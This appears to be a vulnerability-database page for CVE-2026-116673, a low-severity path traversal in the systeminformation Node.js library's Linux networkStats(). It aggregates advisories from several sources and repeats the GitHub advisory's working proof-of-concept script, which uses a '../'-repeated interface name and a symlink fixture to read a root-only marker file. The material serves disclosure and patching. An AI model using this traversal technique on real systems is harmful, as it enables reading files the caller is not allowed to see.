CVE-2026-116673
systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net
systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
3.3
systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net
systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.
- Record
CVE-2026-116673- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-59
- Updated
- 2026-11-02
EUVDEUVD-2026-111101
3.3
systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.
- Record
EUVD-2026-111101- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4vjg-vx72-qq4g
3.3
systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net
Summary
On Linux, [email protected] builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install [email protected]
Save the following as poc.cjs in that directory, then run sudo node poc.cjs:
'use strict';
const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');
const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
const fs = require('node:fs');
const root = process.env.SI_FIXTURE_ROOT;
const secret = process.env.SI_SECRET;
fs.mkdirSync(root + '/statistics', { recursive: true });
for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
fs.writeFileSync(root + '/statistics/' + name, '0\\n');
}
fs.symlinkSync(secret, root + '/operstate');
`;
(async () => {
try {
fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
fs.chmodSync(secret, 0o600);
execFileSync('runuser', [
'-u', 'nobody', '--', 'env',
`SI_FIXTURE_ROOT=${root}`,
`SI_SECRET=${secret}`,
process.execPath, '-e', fixtureCode
], { stdio: 'inherit' });
let nobodyCouldRead = true;
try {
execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
} catch {
nobodyCouldRead = false;
}
if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1);
const rows = await si.networkStats(iface);
const returned = String(rows[0]?.operstate ?? '').trim();
const success = returned === marker;
console.log(JSON.stringify({
nobodyCouldRead,
libraryReturnedRootOnlyMarker: success,
returnedOperstate: returned
}, null, 2));
if (!success) process.exitCode = 1;
} finally {
fs.rmSync(root, { recursive: true, force: true });
fs.rmSync(secret, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Expected result:
{
"nobodyCouldRead": false,
"libraryReturnedRootOnlyMarker": true,
"returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}
Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.
- Record
GHSA-4vjg-vx72-qq4g- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-59
- Updated
- 2026-11-02
NVD
3.3
systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.
- Record
CVE-2026-116673- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-59
- Updated
- 2026-11-02
OSV
3.3
systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net
systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.
- Record
CVE-2026-116673- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-59
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-116673
3.3
systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.
- Record
DEBIAN-CVE-2026-116673- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
OSVGHSA-4vjg-vx72-qq4g
3.3
systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net
Summary
On Linux, [email protected] builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install [email protected]
Save the following as poc.cjs in that directory, then run sudo node poc.cjs:
'use strict';
const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');
const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
const fs = require('node:fs');
const root = process.env.SI_FIXTURE_ROOT;
const secret = process.env.SI_SECRET;
fs.mkdirSync(root + '/statistics', { recursive: true });
for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
fs.writeFileSync(root + '/statistics/' + name, '0\\n');
}
fs.symlinkSync(secret, root + '/operstate');
`;
(async () => {
try {
fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
fs.chmodSync(secret, 0o600);
execFileSync('runuser', [
'-u', 'nobody', '--', 'env',
`SI_FIXTURE_ROOT=${root}`,
`SI_SECRET=${secret}`,
process.execPath, '-e', fixtureCode
], { stdio: 'inherit' });
let nobodyCouldRead = true;
try {
execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
} catch {
nobodyCouldRead = false;
}
if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1);
const rows = await si.networkStats(iface);
const returned = String(rows[0]?.operstate ?? '').trim();
const success = returned === marker;
console.log(JSON.stringify({
nobodyCouldRead,
libraryReturnedRootOnlyMarker: success,
returnedOperstate: returned
}, null, 2));
if (!success) process.exitCode = 1;
} finally {
fs.rmSync(root, { recursive: true, force: true });
fs.rmSync(secret, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Expected result:
{
"nobodyCouldRead": false,
"libraryReturnedRootOnlyMarker": true,
"returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}
Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.
- Record
GHSA-4vjg-vx72-qq4g- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-59
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-116673
3.3
systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.
- Record
UBUNTU-CVE-2026-116673- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1793698099 No score
TuxCare security update for systeminformation (2 CVEs)
TuxCare rebuilt systeminformation to address 2 CVEs. Fixed in 5.23.8-tuxcare.3.
- Record
CLSA-2026-1793698099- Updated
- 2026-11-03
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
systeminformationnpm |
before 5.33.14 | 5.33.14 |
systeminformationTuxCare:npm From an advisory covering 2 CVEs |
5.23.8-tuxcare.0 up to 5.23.8-tuxcare.3, plus listed versions 5.23.85.23.8-tuxcare.15.23.8-tuxcare.2 |
5.23.8-tuxcare.3 |
node-systeminformationDebian:14 |
All versions, plus listed versions 5.31.6-15.31.6-25.31.6-35.31.6-45.31.7-1 |
None known |
node-systeminformationUbuntu:26.10 |
All versions, plus listed versions 5.31.6-45.31.7-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected, aliases | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-116673 is a low vulnerability (CVSS 3.3) in Sebhildebrandt Systeminformation, published October 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.13%, the 2nd percentile. Fixed in systeminformation 5.33.14.
References
github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g
github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd
github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14
nvd.nist.gov/vuln/detail/CVE-2026-116673
github.com/advisories/GHSA-4vjg-vx72-qq4g
github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116673.json